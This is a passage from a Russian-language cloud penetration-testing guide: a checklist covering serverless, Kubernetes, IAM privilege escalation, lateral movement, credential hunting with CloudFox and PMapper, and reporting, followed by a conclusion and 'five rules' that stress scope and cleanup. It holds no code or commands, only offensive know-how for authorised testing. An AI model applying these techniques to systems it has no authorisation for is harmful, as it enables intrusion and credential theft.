- [ ] Проверить сегментацию между production и development окружениями
- [ ] Проверить VPC Flow Logs (включены ли)
Блок G: Serverless и контейнеры (день 4–5)
- [ ] Для каждой Lambda / Function: проверить Environment Variables на секреты
- [ ] Для каждой Lambda / Function: проверить IAM-роль (минимальные привилегии?)
- [ ] Проверить IMDS версию на всех EC2 инстансах (IMDSv2 required?)
- [ ] Проверить Kubernetes API на публичную доступность
- [ ] Запустить Trivy против Kubernetes-кластеров (если есть)
- [ ] Проверить privileged контейнеры и опасные CAP в Kubernetes
Блок H: Продвинутые техники (день 5)
- [ ] Запустить CloudFox для поиска путей атаки и credentials
- [ ] Проверить возможность privilege escalation через цепочки ролей (PMapper)
- [ ] Симулировать lateral movement (только в рамках scope и с разрешения)
- [ ] Проверить CI/CD пайплайны на инъекции и избыточные права
- [ ] Проверить secrets в CloudFormation / ARM templates / Deployment Manager
Блок I: Документирование и отчётность (день 5–7)
- [ ] Собрать все находки по шаблону: описание, PoC, бизнес-влияние, рекомендации
- [ ] Присвоить CVSS-оценки всем уязвимостям
- [ ] Сделать SHA-256 хеши всех скриншотов и артефактов
- [ ] Написать Executive Summary с топ-3 критичными находками
- [ ] Верифицировать все находки (повторное подтверждение перед отчётом)
- [ ] Удалить все тестовые объекты, созданные в ходе пентеста
- [ ] Передать findings заказчику с рекомендациями по приоритизации
> *✅ Пентестер, удалявший за собой все тестовые IAM-пользователи, ключи и backdoor-объекты до передачи отчёта — профессионал. Пентестер, оставивший их «на потом» — создал реальную уязвимость вместо того, чтобы её описать.*
16. Заключение
Пентест облачной инфраструктуры — дисциплина, которая продолжает быстро эволюционировать. Новые сервисы, новые модели развёртывания и новые векторы атак появляются быстрее, чем успевают обновляться методологии. В 2026 году особого внимания требуют три направления: безопасность AI/ML-сервисов в облаке (Amazon Bedrock, Azure OpenAI, Vertex AI) с их специфическими рисками prompt injection и data leakage; безопасность serverless и event-driven архитектур с расширяющейся поверхностью атаки через event sources; безопасность мультиоблачных и гибридных сред с уязвимостями в точках интеграции.
Ключевые принципы, которые нужно вынести из этого руководства: ошибки конфигурации важнее CVE — в облаке большинство компромиссов начинается с IAM и открытых хранилищ, а не с уязвимостей ПО; автоматизация стартует процесс, но не заменяет анализ — ScoutSuite и Prowler дадут список находок, но только опытный пентестер выстроит цепочку атаки и оценит реальный ущерб; shared responsibility требует понимания границ — тестировать нужно именно зону ответственности клиента, а не провайдера; отчёт — это продукт — технически блестящий пентест без actionable отчёта не имеет ценности для заказчика.
Следите за актуальными техниками через профессиональные ресурсы: Rhino Security Labs Blog (rhinosecuritylabs.com/blog), Wiz Research (wiz.io/blog), HackTricks Cloud (cloud.hacktricks.xyz), MITRE ATT&CK for Cloud (attack.mitre.org/matrices/enterprise/cloud).
Пять правил облачного пентестера
1. Scope — закон — тестировать только то, на что есть письменное разрешение, и только теми методами, которые согласованы с провайдером
2. IAM — первый приоритет — в облаке идентификация важнее сети; начинай с аудита прав, не с Nmap
3. Автоматизируй рутину, думай вручную — ScoutSuite находит паттерны, атакующий строит цепочки
4. Убирай за собой — каждый созданный backdoor-объект должен быть задокументирован и уничтожен
5. Отчёт пишется для бизнеса — переводи технические находки в язык рисков, денег и регуляторных последствий